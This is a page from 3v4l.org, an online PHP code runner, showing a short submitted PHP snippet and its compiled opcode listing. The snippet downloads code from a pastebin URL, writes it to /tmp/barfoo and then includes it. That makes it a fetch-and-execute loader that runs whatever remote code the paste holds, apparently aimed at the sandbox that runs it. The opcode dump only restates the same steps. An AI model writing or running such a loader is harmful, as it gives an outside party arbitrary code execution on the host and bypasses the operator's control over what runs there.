3v4l.org

run code in 300+ PHP versions simultaneously
<?php fwrite(fopen("/tmp/barfoo", "w"), file_get_contents("http://pastebin.com/raw.php?i=N0eh3Q7Y")); include("/tmp/barfoo"); exit(0); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 79) Position 1 = -2
filename:       /in/MJZPB
function name:  (null)
number of ops:  14
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'fwrite'
          1        INIT_FCALL                                               'fopen'
          2        SEND_VAL                                                 '%2Ftmp%2Fbarfoo'
          3        SEND_VAL                                                 'w'
          4        DO_ICALL                                         $0      
          5        SEND_VAR                                                 $0
          6        INIT_FCALL                                               'file_get_contents'
          7        SEND_VAL                                                 'http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3DN0eh3Q7Y'
          8        DO_ICALL                                         $1      
          9        SEND_VAR                                                 $1
         10        DO_ICALL                                                 
    3    11        INCLUDE_OR_EVAL                                          '%2Ftmp%2Fbarfoo', INCLUDE
    4    12      > EXIT                                                     0
    5    13*     > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
152.5 ms | 1394 KiB | 19 Q